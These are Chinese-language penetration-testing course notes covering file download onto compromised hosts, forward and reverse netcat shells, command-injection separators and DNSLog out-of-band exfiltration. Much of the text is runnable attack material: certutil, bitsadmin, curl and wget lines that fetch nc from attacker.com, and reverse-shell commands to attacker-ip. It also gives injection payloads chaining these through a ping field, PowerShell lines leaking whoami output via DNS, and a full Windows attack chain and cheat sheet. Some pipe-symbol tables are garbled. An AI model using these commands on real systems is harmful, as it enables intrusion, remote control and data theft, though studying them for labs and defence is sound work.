一、课程核心目标
本课程围绕三大技术场景展开:
-
文件下载:解决无图形化环境下的文件传输
-
反弹连接:解决命令执行卡顿、权限维持及网络限制突破
-
带外查询(OOB):解决无回显漏洞的数据外带
二、文件上传下载技术
2.1 技术原理
核心问题 :渗透测试中获取的权限通常是命令行界面(无图形化),无法通过浏览器下载工具,需通过命令行方式将攻击者服务器上的工具下载到目标机器。
2.2 Windows系统下载命令
表格
| 命令 | 语法示例 | 说明 |
|---|---|---|
| Certutil | certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe |
系统自带,常被用于下载 |
| Bitsadmin | bitsadmin /transfer n http://attacker.com/nc.exe c:\nc.exe |
后台传输服务 |
| PowerShell | powershell -c "Invoke-WebRequest -Uri http://attacker.com/nc.exe -OutFile c:\nc.exe" |
功能强大,可绕过部分限制 |
| CMD | 其他内置命令 | 根据环境选择 |
关键参数解析:
-
-urlcache:使用URL缓存 -
-split:分块下载 -
-f:强制覆盖
2.3 Linux系统下载命令
表格
| 命令 | 语法示例 | 说明 |
|---|---|---|
| curl | curl -O http://attacker.com/nc |
常用,支持多种协议 |
| wget | wget http://attacker.com/nc -O /tmp/nc |
系统自带 |
| Python | python -c "import urllib; urllib.urlretrieve('http://attacker.com/nc', '/tmp/nc')" |
利用Python内置库 |
| Ruby | ruby -e 'require \"net/http\"; File.write(\"/tmp/nc\", Net::HTTP.get(URI(\"http://attacker.com/nc\")))' |
Ruby环境可用 |
实战流程:
plain
复制
1. 攻击者将工具(如nc.exe)放置于Web服务器目录
2. 构造下载URL:http://attacker-ip:80/nc.exe
3. 根据目标系统选择对应下载命令
4. 指定保存路径(Windows常用C盘根目录,Linux常用/tmp)
5. 执行命令完成下载
三、反弹连接技术(核心难点)
3.1 反弹连接的核心价值
表格
| 解决的问题 | 说明 |
|---|---|
| 交互式命令执行 | 解决需要用户输入的命令卡顿问题(如passwd修改密码) |
| 权限维持 | 建立持续稳定的控制通道,非一次性执行 |
| 内网穿透 | 突破NAT/防火墙限制,实现内网主机控制 |
| 数据回显 | 获得完整的命令执行反馈 |
3.2 正向连接 vs 反向连接
概念定义(以控制端为参照物)
-
正向连接 :控制端主动连接目标(目标监听,控制端连接)
-
反向连接 :目标主动连接控制端(控制端监听,目标连接)
核心区别
表格
| 对比维度 | 正向连接 | 反向连接 |
|---|---|---|
| 监听方 | 目标机器 | 控制端(攻击者) |
| 连接发起方 | 控制端 | 目标机器 |
| 适用场景 | 目标有公网IP,无防火墙限制 | 目标在内网/NAT后,有防火墙入站限制 |
| 防火墙影响 | 受目标入站策略限制 | 受目标出站策略限制(通常宽松) |
| NC命令(Windows被控) | nc -l -p 5566 -e cmd.exe |
nc -e cmd.exe attacker-ip 5566 |
| NC命令(Linux被控) | nc -l -p 5566 -e /bin/sh |
nc -e /bin/sh attacker-ip 5566 |
3.3 网络环境判定与选择策略
场景一:双公网环境
plain
复制
目标:Windows(公网IP: 47.122.23.131)
控制端:Linux(公网IP)
正向方案:
目标执行:nc -l -p 5566 -e cmd.exe (绑定CMD到5566端口)
控制端执行:nc 47.122.23.131 5566 (主动连接)
反向方案:
控制端执行:nc -lvp 5566 (监听5566)
目标执行:nc -e cmd.exe 控制端IP 5566 (主动连接控制端)
场景二:内网环境(核心应用)
plain
复制
拓扑:目标在内网(192.168.1.x)→ 路由器(NAT) → 互联网 ← 控制端(公网IP)
关键问题:
- 控制端主动连接内网IP(192.168.1.107)→ 无法路由(内网IP不唯一)
- 控制端连接路由器公网IP → 路由器不知道转发给哪台内网主机
解决方案(必须使用反向连接):
控制端(公网):nc -lvp 5566 [监听]
目标(内网):nc -e cmd.exe 控制端公网IP 5566 [主动出网]
原理:内网主机可以主动访问外网,控制端有公网IP可被唯一定位
场景三:防火墙限制环境
表格
| 防火墙策略 | 影响 | 解决方案 |
|---|---|---|
| 入站限制(阻止外部连接进入) | 正向连接失效 | 使用反向连接(目标主动出网) |
| 出站限制(阻止内部连接外出) | 反向连接失效 | 使用正向连接(外部主动进入) |
| 双向限制 | 两者都可能失效 | 需使用隧道/端口转发等高级技术 |
实验验证:
plain
复制
1. Windows防火墙添加入站规则:阻止TCP 5566端口
2. 正向连接测试:控制端连接目标5566 → 连接超时(被阻止)
3. 反向连接测试:目标主动连接控制端5566 → 成功建立连接
4. 结论:入站限制时,必须使用反向连接
四、命令执行与管道符
4.1 命令执行漏洞利用基础
漏洞场景:Web应用提供Ping功能,用户输入IP,后端直接拼接执行。
4.2 管道符(命令连接符)
Windows管道符
表格
| 符号 | 功能 | 示例 | 执行逻辑 |
|---|---|---|---|
& |
命令分隔 | ping 127.0.0.1 & whoami |
前后命令都执行 |
&& |
逻辑与 | ping 127.0.0.1 && whoami |
前命令成功才执行后命令 |
| ` | ` | 管道 | `ping 127.0.0.1 |
| ` | ` | 逻辑或 |
Linux管道符
表格
| 符号 | 功能 | 示例 |
|---|---|---|
; |
命令分隔 | ping 127.0.0.1; whoami |
& |
后台执行 | ping 127.0.0.1 & |
&& |
逻辑与 | ping 127.0.0.1 && whoami |
| ` | ` | 管道 |
| ` | ` | |
| ````` | 命令替换 | whoami(反引号) |
$() |
命令替换 | $(whoami) |
关键区别 :Linux支持;和命令替换,Windows原生CMD不支持(需用PowerShell)。
五、无回显漏洞与带外查询(OOB)
5.1 问题场景
命令执行漏洞没有回显(页面不显示命令输出),无法直接判断命令是否执行成功、执行结果是什么。
5.2 解决方案一:反弹Shell
直接将权限反弹到控制端,在控制端交互执行命令查看结果。
5.3 解决方案二:带外查询(Out-of-Band)
DNSLog技术原理
利用DNS查询请求将数据外带:
plain
复制
1. 攻击者获取DNSLog平台域名(如:xxx.dnslog.cn)
2. 构造命令:whoami.xxx.dnslog.cn
3. 目标执行ping whoami.xxx.dnslog.cn
4. DNS服务器记录查询请求:admin.xxx.dnslog.cn
5. 攻击者查看DNSLog平台,获取"admin"(whoami执行结果)
Linux带外查询(简单)
bash
复制
# 直接利用命令替换
ping `whoami`.xxx.dnslog.cn
# 或
ping $(whoami).xxx.dnslog.cn
结果 :DNSLog平台收到root.xxx.dnslog.cn,即得知执行用户为root。
Windows带外查询(复杂,核心难点)
问题 :Windows CMD不支持`````和$()命令替换,无法直接拼接命令结果到域名。
解决方案:PowerShell变量赋值
powershell
复制
# 步骤1:将命令结果赋值给变量
$x = whoami
# 步骤2:定义DNSLog域名
$y = '.xxx.dnslog.cn'
# 步骤3:拼接完整域名
$z = $x + $y
# 步骤4:执行ping,触发DNS查询
ping $z
完整命令(一行执行):
powershell
复制
powershell -c "$x=whoami;$y='.xxx.dnslog.cn';$z=$x+$y;ping $z"
特殊字符处理 : 若命令结果包含\(如domain\username),需替换:
powershell
复制
# 将反斜杠替换为其他字符(如"x")
$xs = $x -replace '\\','xxx'
$z = $xs + $y
ping $z
实战利用流程:
plain
复制
漏洞点:http://target.com/ping.php?ip=127.0.0.1
利用步骤:
1. 测试:ping 127.0.0.1 | whoami (确认命令执行)
2. 发现无回显,改用带外查询
3. 获取DNSLog域名:abc.dnslog.cn
4. 构造Payload:
127.0.0.1 | powershell -c "$x=whoami;$y='.abc.dnslog.cn';$z=$x+$y;ping $z"
5. 查看DNSLog平台,确认收到DNS请求,获取执行结果
六、综合实战流程
6.1 完整攻击链(以Windows目标为例)
plain
复制
【信息收集】
↓ 发现命令执行漏洞(Ping功能)
【漏洞验证】
↓ 输入:127.0.0.1 | whoami
↓ 结果:无回显(但确认存在漏洞)
【工具上传】
↓ 1. 攻击者准备nc.exe,放置于Web服务器
↓ 2. 构造下载命令:certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe
↓ 3. 利用漏洞执行下载命令:127.0.0.1 | certutil -urlcache -split -f http://attacker.com/nc.exe c:\nc.exe
↓ 4. 验证:127.0.0.1 | dir c:\nc.exe
【反弹Shell】
↓ 方案选择:
- 目标有公网IP且无防火墙 → 正向连接
- 目标在内网/有入站限制 → 反向连接(常用)
↓ 反向连接操作:
- 控制端:nc -lvp 5566
- 漏洞利用:127.0.0.1 | c:\nc.exe -e cmd.exe attacker-ip 5566
【权限维持】
↓ 获得交互式Shell,可执行需要输入的命令(如密码修改)
七、核心考点总结(SRC/CTF/面试)
🔴 必考概念
表格
| 考点 | 核心要点 |
|---|---|
| 正向/反向连接区别 | 以控制端为参照物:主动连出去为正,被连进来为反 |
| 内网为何用反向 | 内网IP不唯一无法被定位,但可主动访问外网 |
| 防火墙策略影响 | 入站限制→用反向;出站限制→用正向 |
| NC参数 | -l监听,-p指定端口,-e绑定程序,-v详细输出 |
| Windows下载命令 | certutil、bitsadmin、powershell(需掌握至少一种) |
| Linux下载命令 | curl、wget、python(需掌握至少两种) |
| 管道符差异 | Linux支持;和命令替换,Windows CMD不支持 |
| 无回显解决 | 反弹Shell或带外查询(DNSLog) |
🟠 高频命令速查
bash
复制
# Windows下载
certutil -urlcache -split -f http://ip/file.exe c:\file.exe
# Linux下载
curl -O http://ip/file
wget http://ip/file -O /tmp/file
# NC正向(目标监听)
nc -l -p 5566 -e /bin/sh # Linux
nc -l -p 5566 -e cmd.exe # Windows
# NC反向(控制端监听)
nc -lvp 5566 # 控制端
nc -e /bin/sh attacker-ip 5566 # Linux目标
nc -e cmd.exe attacker-ip 5566 # Windows目标
# PowerShell带外(Windows无回显)
powershell -c "$x=whoami;$y='.dnslog.cn';ping ($x+$y)"
🟡 面试常见问题
Q1:正向连接和反向连接的区别?什么场景用反向?
答:正向是控制端主动连目标,反向是目标主动连控制端。内网环境、有防火墙入站限制时必须用反向,因为内网IP无法被互联网路由,但内网主机可以主动访问外网。
Q2:目标在内网,如何获取Shell?
答:使用反向连接。攻击者在公网监听端口,诱导内网目标执行反向连接命令(如nc -e),目标主动出网连接到攻击者,绕过NAT和入站限制。
Q3:命令执行漏洞无回显,如何验证和利用?
答:验证可用DNSLog带外查询,如
ping $(whoami).dnslog.cn(Linux)或PowerShell变量赋值后ping(Windows)。利用可尝试反弹Shell获得交互式会话。
Q4:Windows系统没有nc怎么办?
答:先利用系统自带命令(certutil/bitsadmin/powershell)下载nc.exe到目标,再执行反弹。
Q5:防火墙阻止了反向连接怎么办?
答:检查是入站还是出站限制。若出站被限制,尝试正向连接;若双向限制,需考虑隧道技术(如ICMP隧道、DNS隧道)。
🟢 实战思维 checklist
plain
复制
□ 识别目标操作系统(Windows/Linux)→ 决定下载命令
□ 判断网络位置(公网/内网)→ 决定正反向连接
□ 检查回显情况(有回显/无回显)→ 决定是否用带外查询
□ 测试防火墙策略 → 决定连接方向
□ 准备工具上传 → 选择合适下载命令和路径
□ 建立稳定通道 → 选择NC/其他工具建立反弹Shell
学习建议:本节课技术点环环相扣,建议按"文件下载→正向连接→反向连接→防火墙绕过→带外查询"的顺序动手实验,使用虚拟机搭建靶场复现每个场景。
